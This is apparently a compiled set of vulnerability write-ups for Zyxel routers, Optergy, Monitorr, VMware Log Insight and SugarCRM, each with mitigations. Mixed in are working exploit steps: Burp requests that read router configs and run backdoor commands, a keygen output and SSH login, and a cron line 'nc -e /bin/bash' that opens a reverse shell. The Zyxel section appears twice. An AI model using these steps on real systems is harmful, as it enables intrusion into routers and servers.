┌──(root💀cuckoo)-[~/zyxel_exploit/zyxel-vmg8825-keygen]
└─# ssh supervisor@zyxel-vuln-router
supervisor@zyxel-vuln-router's password:
$ uname -a
Linux VMG3625-T20A 2.6.36 #7 SMP Sat Aug 18 12:18:02 CET 2018 mips GNU/Linux
$ id
uid=12(supervisor) gid=12 groups=12
$

I have created a Metasploit module that chains these two vulnerabilities together to gain access to vulnerable Zyxel routers.
PR submission to mainstream Metasploit is completed and available.

Mitigation

Please follow this Security Advisory of Zyxel to patch your router.
As temporary measure, you should disable all your services on the router such as telnet, ftp and ssh that allows access to the supervisor user and configure your web interface only to be accessible by the admin user.

References

CVE-2023-28770
The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users .
Multiple Critical Vulnerabilities in multiple Zyxel devices.
Getting root on a Zyxel VMG8825-T50 router
Zyxel VMG8825-T50 Supervisor Keygen – Github
Zyxel Security Advisory
Metasploit PR: Zyxel router chained RCE using LFI and weak password derivation algorithm

Credits

Credits goes to:
SEC Consult team
Thomas Rinsma
Bogi Napoleon Wennerstrøm

3
Ratings
Technical Analysis

In December 2022, SEC Consult released a blog with the title The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users . The blog explains an unauthenticated buffer overflow in more then 40 different Zyxel router models and the fast amount of thousands of routers that are vulnerable and accessible via the Internet.
The impact is still quite limited because the published Metasploit exploit module only works from the LAN side.

However, the Unauthenticated Buffer Overflow is not the only vulnerability on these routers and SEC Consult discovered another 7 vulnerabilities that are described in their security analysis Multiple Critical Vulnerabilities in multiple Zyxel devices.
While reading the security analysis and reviewing the other vulnerabilities, I discovered a new opportunity to build an exploit by chaining two other vulnerabilities that will allow an unauthenticated attacker to get privileged access to the Zyxel router from either the WAN or LAN side. The potential of this exploit to attack from the WAN side makes it quite dangerous taking into account the large number of non-patched Zyxel routers out there on the Internet.

Recently, CVE-2023-28770 has been released covering the LFI vulnerability that is used in this chained exploit.

Zyxel router chained RCE

Exploiting an unauthenticated local file disclosure (LFI) vulnerability and a weak password derivation algorithm

The first vulnerability that stood out to me is the LFI vulnerability that is discussed in section 2 of the Security Analysis by SEC Consult.
The LFI vulnerability is present in the zhttp binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json.

The burp request below shows a redacted response of the information that is disclosed such as encrypted passwords, account information, information on services configuration (FTP, Telnet, SSH), and hardware details such as serial number, hardware model etc. In total around 4000 lines of nested JSON information that you would not like to share with anyone out there.

LFI Burp request and response

GET /Export_Log?/data/zcfg_config.json HTTP/1.1
Host: zyxel-vuln-router:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close

Response (REDACTED)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 148678
Date: Fri, 14 Apr 2023 08:47:46 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'

---- Hardware Information ----
{
    "Manufacturer":"ZYXEL",
    "ManufacturerOUI":"XXXXX",
    "ModelName":"VMG3625-T20A",
    "Description":"Wireless AC VDSL2 4-port Gateway with USB",
    "ProductClass":"VMG3625-T20A",
    "SerialNumber":"SXXXXXXXXXXXX",
    "SoftwareVersion":"V5.30(ABOU.2)b1_I0_20180821",
    "AdditionalHardwareVersion":"",
    "AdditionalSoftwareVersion":"",
    "UpTime":607055,
    "FirstUseDate":"2023-03-21T09:07:41",
    "VendorConfigFileNumberOfEntries":0,
    "SupportedDataModelNumberOfEntries":0,
    "ProcessorNumberOfEntries":0,
    "VendorLogFileNumberOfEntries":0,
    "LocationNumberOfEntries":0,
    "FixManufacturerOUI":""
  },

---- Account Information----
"X_ZYXEL_LoginCfg":{
    "LoginGroupConfigurable":true,
    "LogGp":[
      {
        "GP_Privilege":"_encrypt_XXXXXXXXXXXXXX",
        "Account":[
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"root",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXXXX",
            "GetConfigByFtp":true,
            "DefaultPassword":"_encrypt_XXXXXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"root:$6$XXXXXXXXXXX:0::::::\n",
            "smbpasswd":"root:0:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          },
          {
            "AutoShowQuickStart":false,
            "Enabled":true,
            "EnableQuickStart":true,
            "Page":"",
            "Username":"supervisor",
            "Password":"",
            "PasswordHash":"",
            "Privilege":"_encrypt_XXXXXXXXXXX",
            "DefaultPassword":"_encrypt_XXXXXXXXXXX",
            "DefaultGuiPassword":"",
            "ResetDefaultPassword":false,
            "shadow":"supervisor:$6$XXXXXXXXXX:0::::::\n",
            "smbpasswd":"supervisor:12:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:33A9D53C23525B5F63A0C536445E2B76:[U          ]:LCT-0000004E:\n",
            "ConfigAccountFromWAN":false,
            "DefPwLength":8,
            "AccountCreateTime":0,
            "AccountRetryTime":3,
            "AccountIdleTime":300,
            "AccountLockTime":300,
            "RemoHostAddress":"",
            "DotChangeDefPwd":false,
            "ShowSkipBtnInChgDefPwdPage":false,
            "AutoGenPwdBySn":false,
            "RemoteAccessPrivilege":"LAN",
            "OldDefaultPassword":"",
            "CardOrder":"",
            "ThemeColor":"",
            "HiddenPage":""
          }
        ],
        "Level":"high"
      },

---- Service Information ----
  "X_ZYXEL_RemoteManagement":{
    "Service":[
      {
        "Name":"HTTP",
        "Enable":true,
        "Protocol":6,
        "Port":8080,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":1,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"HTTPS",
        "Enable":true,
        "Protocol":6,
        "Port":443,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"FTP",
        "Enable":true,
        "Protocol":6,
        "Port":21,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"TELNET",
        "Enable":true,
        "Protocol":6,
        "Port":23,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },
      {
        "Name":"SSH",
        "Enable":true,
        "Protocol":6,
        "Port":22,
        "Mode":"LAN_WAN",
        "TrustAll":true,
        "OldMode":"LAN_ONLY",
        "RestartDeamon":true,
        "LifeTime":20,
        "BoundInterfaceList":""
      },

Now this information disclosure in itself will not pose a direct threat to these routers, but of course attackers could try to crack the obtained encrypted shadow passwords, but this will take a long time.

So is there any other way to use the disclosed information for a successful attack?
And of course the answer is YES!

The second vulnerability that comes into play is the vulnerability described in section 3 of the analysis, “Unsafe Storage of Sensitive Data”.
It explains the password derivation technique used to decrypt the _encrypted_XXXXXX passwords in the JSON configuration file using a static AES Key and IV.
But my attention was more drawn to another analysis Getting root on a Zyxel VMG8825-T50 router done by Thomas Rinsma in 2020 that was referenced at the bottom of the section and where Thomas explains the password derivation techniques used on Zyxel routers.
In particular, section “Tangent 2: key and password derivation mechanisms” is quite interesting which describes in detail how the supervisor user password can be derived using the serial key of the router.

So what if we use the LFI vulnerability to get the serial key of the router and try to crack the supervisor password using this password derivation technique.
We can then use the disclosed router services information to check if ssh or telnet is enabled and accessible from the WAN and try to login as supervisor to gain access to the router.

Bogi Napoleon Wennerstrøm has reverse engineered and implemented some of these derivation functions producing the supervisor password.
His repository can be found here on Github.
I tested his password derivation functions and indeed I can confirm that either zcfgBeCommonGenKeyBySerialNumMethod2 or zcfgBeCommonGenKeyBySerialNumMethod3 are working on vulnerable Zyxel routers.

# python ./main.py SXXXXXXXXXXXX <= redacted
zcfgBeCommonGenKeyBySerialNum                   : L8PBA3JD6H
zcfgBeCommonGenKeyBySerialNum_CBT               : 4a88dfa2
zcfgBeCommonGenKeyBySerialNumMethod2            : 4a88dfa2
=> zcfgBeCommonGenKeyBySerialNumMethod3         : aN66Q5D31Y <=
zcfgBeCommonGenKeyBySerialNumConfigLength(1)    : 778V3W7O
zcfgBeCommonGenKeyBySerialNumConfigLength(2)    : Yd3HvMpU
zcfgBeCommonGenKeyBySerialNumConfigLength(3)    : dByHvMzZ
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(1) : 778V3W7O
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(2) : Yd3HvMpU
zcfgBeCommonGenKeyBySerialNumConfigLengthOld(3) : dByHvMzZ
┌──(root💀cuckoo)-[~/zyxel_exploit/zyxel-vmg8825-keygen]
└─# ssh supervisor@zyxel-vuln-router
supervisor@zyxel-vuln-router's password:
$ uname -a
Linux VMG3625-T20A 2.6.36 #7 SMP Sat Aug 18 12:18:02 CET 2018 mips GNU/Linux
$ id
uid=12(supervisor) gid=12 groups=12
$

I have created a Metasploit module that chains these two vulnerabilities together to gain access to vulnerable Zyxel routers.
PR submission to mainstream Metasploit is in progress.

Mitigation

Please follow this Security Advisory of Zyxel to patch your router.
As temporary measure, you should disable all your services on the router such as telnet, ftp and ssh that allows access to the supervisor user and configure your web interface only to be accessible by the admin user.

References

CVE-2023-28770
The enemy from within: Unauthenticated Buffer Overflows in Zyxel routers still haunting users .
Multiple Critical Vulnerabilities in multiple Zyxel devices.
Getting root on a Zyxel VMG8825-T50 router
Zyxel VMG8825-T50 Supervisor Keygen – Github
Zyxel Security Advisory
Metasploit PR: Zyxel router chained RCE using LFI and weak password derivation algorithm

Credits

Credits goes to:
SEC Consult team
Thomas Rinsma
Bogi Napoleon Wennerstrøm

2
Ratings
Technical Analysis

Backdoors

Since the dawn of our computing era, we have seen backdoors added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors.
The more or less official definition of a backdoor can be found at wikipedia and defines it as:

A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.

Backdoors can vary from a simple hard coded user / password combination to sophisticated rootkits, object code backdoors, asymmetric backdoors and compiler backdoors which are quite well explained in the article.

Reasons to install backdoors are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn thing and starts using it for different reasons.

The example below shows a pretty sophisticated undocumented backdoor in the Optergy building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic a.k.a. LiquidWorm.

During the review a backdoor script called Console.jsp located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/ was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec resulted in errors. Clicking the Get button ConsoleResult.html?get returns a JSON response message:

{"response":{"message":"1679481930381"}}

The question now is to satisfy this challenge response to successfully execute commands.

And after de-compiling the ConsoleResult.class java bytecode it revealed how this developer backdoor console actually works.

Lines 065, 066, and 067 of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get AJAX request. This challenge is used to generate a SHA-1 hash and then generate an MD5 hash from the SHA-1 hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.

With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1

Challenge: 1679481930381
SHA1: 6c2ba45326f687498923413420c890ebf5b7602c
MD5 of SHA1: 421dc80c2bea0c3710679605a6159162
Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162

Decompiled ConsoleResult.class

ConsoleResult.class:
032: public class ConsoleResult
033: implements ActionBean, ValidationErrorHandler
034: {
035: private ActionBeanContext context;
036: @Validate(required=true, on={"execute"}, minlength=1)
037: private String command;
038: @Validate(required=true, on={"execute"}, minlength=1)
039: private String challenge;
040: @Validate(required=true, on={"execute"}, minlength=1)
041: private String answer;
042: private final Object lock;
043:
044: public ConsoleResult()
045: {
046: lock = new ConsoleResult.Lock(null);
047: }
048:
049:
050:
051:
052:
053:
054: @DefaultHandler
055: public Resolution execute()
056: {
057: long l1 = 1500L;
058: ServletContext localServletContext = getContext().getServletContext();
059: List localList = (List)localServletContext.getAttribute("challengeList");
060:
061: long l2 = Long.parseLong(challenge);
062: if ((localList != null) && (localList.contains(Long.valueOf(l2))))
063: {
064: localList.remove(Long.valueOf(l2));
065: String str1 = Util.makeSHA1Hash(Long.toString(l2));
066: String str2 = Util.makeMD5Hash(str1);
067: String str3 = str1 + str2;
068:
069: if (!str3.equals(answer))
070: {
071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer"));
072: }
073:
074: String str4 = "";
075: ProcessStreamReader localProcessStreamReader = null;
076: try
077: {
078: String[] arrayOfString = command.split("\\ ");
079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString);
080: localProcessBuilder.redirectErrorStream(true);
081: Process localProcess = localProcessBuilder.start();
082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess);
083:
084: localProcessWrapper.start();
085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream());
086: localProcessStreamReader.start();
087: try
088: {
089: localProcessWrapper.join(l1);
090: localProcessStreamReader.join(l1);
091: }
092: catch (InterruptedException localInterruptedException)
093: {
094: localInterruptedException.printStackTrace();
095: localProcessWrapper.interrupt();
096: }
097: }
098: catch (Exception localException)
099: {
100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command"));
101: }
102:
103:
104: str4 = localProcessStreamReader.getString();
105:
106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4);
107: return new JSONResolution(localJSONObject);
108: }
109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge"));
110: }
111:
112: public Resolution get()
113: {
114: ServletContext localServletContext = getContext().getServletContext();
115: Object localObject = (List)localServletContext.getAttribute("challengeList");
116: if (localObject == null) {
117: localObject = new ArrayList();
118: }
119: long l = System.currentTimeMillis();
120: ((List)localObject).add(Long.valueOf(l));
121:
122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject);
123:
124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l));
125: return new JSONResolution(localJSONObject);
126: }

The Burp output below shows exactly what happens under the cover.

Click Get button to get the challenge value

POST /tools/ajax/ConsoleResult.html?get HTTP/1.1
Host: 192.168.201.31
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

Response is a JSON message with the challenge value

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 40
Date: Wed, 22 Mar 2023 10:45:30 GMT
Connection: close

{
  "response": {
     "message":"1679481930381"
   }
}

Now use the SHA1/MD5 recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.

Execute the whoami command

POST /tools/ajax/ConsoleResult.html HTTP/1.1
Host: 192.168.201.31
Content-Length: 119
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

&command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162

Response is a JSON message with the command output of whoami

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 38
Date: Wed, 22 Mar 2023 10:49:56 GMT
Connection: close

{
"response":{
   "message":"optergy\r\n"
   }
}

The above example shows once more that even sophisticated backdoors can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors in your application code.

Mitigation

All Optergy Proton / Enterprise versions 2.3.0a and below are vulnerable.
Unfortunate like most IoT type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT devices still remains a challenge for a lot of companies out there :–(

Please upgrade to the subsequent versions to mitigate this vulnerability.

I could not resist the temptation to create a Metasploit module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit is completed.

References

CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit module
Metasploit Development h00die-gr3y

Credits

Credits goes to Gjoko Krstic a.k.a. LiquidWorm who discovered this vulnerability.

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Monitorr is a simple web application that allows you to setup a dashboard to monitor various web site / web application up or down state. It has been around for a while and is supported on both Linux and Windows, but development seems to be stalled.
Unfortunately this nice neat web application suffers from a remote code execution vulnerability that allows an attacker to upload a webshell tagged as a GIF image and execute malicious php code.
A typical vulnerability that has been in OSWASP top 10 A04_2021-Insecure_Design for a long time => CWE-343 Unrestricted Upload of File with Dangerous Type, but developers still seems to get this wrong.

All versions including v1.7.6m are vulnerable and no patch is available.

Evidence of compromise

When you want to check if your system is compromised, please look for unexpected files with extension like php, phar, php7 in the assets/data/usrimg (Linux) or assets\data\usrimg (Windows) directory. Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.

Mitigation

All versions of Monitorr are vulnerable, and the only mitigation is to restrict the execution of php code at the directory where the malicious file uploads are stored (Linux: <web_root>/assets/data/usrimg or Windows: <web_root\assets\data\usrimg).

I have created a Metasploit module to test this vulnerability. A local version of this module can found at the References section.
Submission to mainstream development is in progress.

References

CVE-2020-28871
Lyins Lab Discovery
Public Exploit – Packetstorm
OSWASP top 10 – A04_2021-Insecure_Design
CWE-343 Unrestricted Upload of File with Dangerous Type
Metasploit Development h00die-gr3y

Credits

Credits goes to Lyins Lab below who discovered this vulnerability.

2
Ratings
Technical Analysis

On 31 January 2023, security researcher James Horman and team from Horizon3.ai published a Technical Deep Dive on vulnerabilities that exist in VMware vRealize Log Insight and how to exploit those to get unauthenticated remote access to the application. Please read the blog VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive for all the technical details.

What makes this use case particular interested is the chaining of multiple vulnerabilities to achieve the unauthenticated RCE.
Basically there are four vulnerabilities that are published in the VMware VMSA-2023-0001 security disclosure:

  • CVE-2022-31706: VMware vRealize Log Insight Directory Traversal Vulnerability
  • CVE-2022-31704: VMware vRealize Log Insight broken Access Control Vulnerability
  • CVE-2022-31710: VMware vRealize Log Insight Deserialization Vulnerability
  • CVE-2022-31711: VMware vRealize Log Insight Information Disclosure Vulnerability

The analysis shows that three vulnerabilities CVE-2022-31706, CVE-2022-31704 and CVE-2022-31711 are chained to achieve the RCE.

In a nutshell:

  1. CVE-2022-31704 is used to gain unauthorized access to the Apache Thrift server to execute commands. Apache Thrift is a RPC framework that allows client/server communication and is typically used to establish communication between components of the system.
  2. The Apache Thrift server in the VMware vRealize Log Insight application is vulnerable and can be accessed with a client to execute specific commands defined in the framework.
  3. In this scenario, two RPC commands are being exploited, remotePakDownloadCommand and pakUpgradeCommand that allows for an unauthenticated upload of a malicious PAK file with an attached payload that can be extracted to any place on the filesystem using CVE-2022-31706 that allows for Directory Traversal.
  4. Last but not least, the remotePakDownloadCommand requires a node token to work. A node token is a guid that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are various Thrift RPC commands that leak the node token including getConfig and getHealthStatus, which links back to the third CVE-2022-31711 – VMware vRealize Log Insight Information Disclosure Vulnerability.

Now let’s see in real-life practice, how this vulnerability works…

First we need install a vulnerable instance of VMware vRealize Log Insight, which you can download from this link.
You need to be registered as a customer or you can apply for a trial license before you can download the OVA.
Import the OVA in your favorite hypervisor application. I am using Oracle VirtualBox.
Please allocate enough memory and CPU (minimal 4 GB and 2 vCPU) otherwise your appliance will be dead slow and the exploit will fail due to lack of space in the /tmp directory.

Go thru the setup of the appliance. This is all very straight forward.
If you have the appliance running, go to the POC at Github that has been created by the Horizon3.ai team.
Clone the repository.
Before you start executing the exploit, please install Thrift python support.

#  pip3 install thrift

and install the thrift-compiler.
Not needed for the exploit to work but it gives you the ability to generate thrift modules for other languages such as ruby.

# apt install thrift-compiler

The last thing that you need to do is to correct a small typo that the guys from Horizon3.ai made in their code.
Yeah, everybody makes mistakes, even these guys ;–)

Open VMSA-2023-0001.py with your favorite editor and go to the section below.

def remote_pak_download(client, node_token, http_server_address, http_server_port):
    command = Command()
    command.commandType = 9

    download_command = RemotePakDownloadCommand()
    download_command.sourceNodeToken = node_token
    # The remote system does not return an error if this url is incorrect.
    # It just silently fails
    download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar"
    download_command.fileName = "exploit.pak"

    command.remotePakDownloadCommand = download_command

Change download_command.fileName = "exploit" to download_command.fileName = "exploit.pak" and save the file.

Now we are ready to run the exploit against our installed target.

  • The exploit will gain access by obtaining the token.
  • Next, it will create a malicious PAK file with the payload attached that is a crontab file with a netcat command connecting back to your system.
  • PAK file gets upload and extracted using the vulnerable Apache Thrift server running on the Log Insight server.
  • Run a netcat listener on your system to catch the netcat connection from the target system triggered by the cron daemon after successful exploitation.
# python3 ./VMSA-2023-0001.py --target_address 192.168.100.92 --http_server_address 192.168.100.7 --http_server_port 1981 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: 8984be67-2394-4da1-bf87-2635d558329d
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.100.92 - - [03/Feb/2023 17:19:02] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
# nc -lnvp 8888
listening on [any] 8888 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.92] 42746
uname -a
Linux localhost 4.19.245-1.ph3 #1-photon SMP Thu Jun 2 02:30:39 UTC 2022 x86_64 GNU/Linux
whoami
root
cat /etc/issue
VMware vRealize Log Insight
cat /etc/photon-release
VMware Photon OS 3.0
PHOTON_BUILD_NUMBER=05f9d3d8d

If you login into the appliance, you can find the exploit.pak in the /tmp directory and the a cron file exploit created in the /etc/cron.d directory.
If you check the contents of the PAK file, you will see the ../../etc/crond.d/exploit file with the directory traversal.

root@localhost [ ~ ]# ls -l /tmp/*.pak
-rw-r--r-- 1 root root 122880 Feb  3 17:18 /tmp/exploit.pak
root@localhost [ ~ ]# ls -l /etc/cron.d/exploit
-rw-r--r-- 1 root root 51 Feb  3 12:24 /etc/cron.d/exploit
root@localhost [ ~ ]# cat /etc/cron.d/exploit
* * * * * root nc -e /bin/bash 192.168.100.7 8888

root@localhost [ ~ ]# tar -tvf/tmp/exploit.pak
-rw-r--r-- root/root     35768 2023-02-03 09:10 upgrade-image-8.10.2-21145187.rpm
-rw-r--r-- root/root     35768 2023-02-03 09:10 upgrade-driver
-rw-r--r-- root/root     35768 2023-02-03 09:10 eula.txt
-rw-r--r-- root/root      1926 2023-02-03 09:10 VMware-vRealize-Log-Insight.cert
-rw-r--r-- root/root      1790 2023-02-03 09:10 VMware-vRealize-Log-Insight.mf
tar: Removing leading `../../' from member names
-rw-r--r-- root/root        51 2023-02-03 12:24 ../../etc/cron.d/exploit

The example above show that the exploit is pretty simple to weaponize and execute, however there is a low probability of exploitation in the wild.
The main reason is that VMware vRealize Log Insight is typically not exposed to the public Internet and the Thrift RPC ports 16520 through 16580 should be accessible for the exploit to work.
But from the inside, it is of course a very attractive target to exploit because it has tons of nice information on the network and servers ready to be disclosed to an attacker.

Mitigation

Please update VMware vRealize Log Insight to 8.10.2.

References

Horizon3.ai: VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive
VMware advisory
Horizon3.ai: POC

Credits

Credits goes to the security researchers below that analyzed the vulnerabilities and discovered the RCE chain.

1

@rbowes-r7, I did some testing myself on the community editions, but I did not get the vulnerability to work on that platform.
The commercial editions are affected as outlined in the vendor advisory.

3
Ratings
Technical Analysis

Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.

For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.

The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/ directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP or HTTPS gaining access to the system.

The vulnerability is caused by two issues in the code base of sugarCRM.

First issue is a missing authentication check in the loadUser() method in include/MVC/SugarApplication.php.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.

Authentication request and response from a vulnerable instance

POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: close

module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a

Response is a HTTP 500 message and the response says You must specify a valid username and password. Could be different depending on the language settings.

HTTP/1.0 500 Server Error
Date: Wed, 18 Jan 2023 05:54:58 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Status: 500 Server Error
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Content-Length: 47
Connection: close
Content-Type: text/html; charset=UTF-8

You must specify a valid username and password.

After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.

//If there was a login error, we should not allow the further code execution and destroy the session

if (isset($_SESSION['login_error'])) {

if ($sess->getId()) {

$sess->destroy();

};

header('Location: ' . $this->getUnauthenticatedHomeUrl(true));

exit();

}

Burp response after the patch, where the response says You need to be logged in to perform this action.

HTTP/1.0 500 Server Error
Date: Tue, 17 Jan 2023 07:23:56 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Status: 500 Server Error
Content-Length: 49
Connection: close
Content-Type: text/html; charset=UTF-8


You need to be logged in to perform this action.

The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles

There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.

The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:

Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.

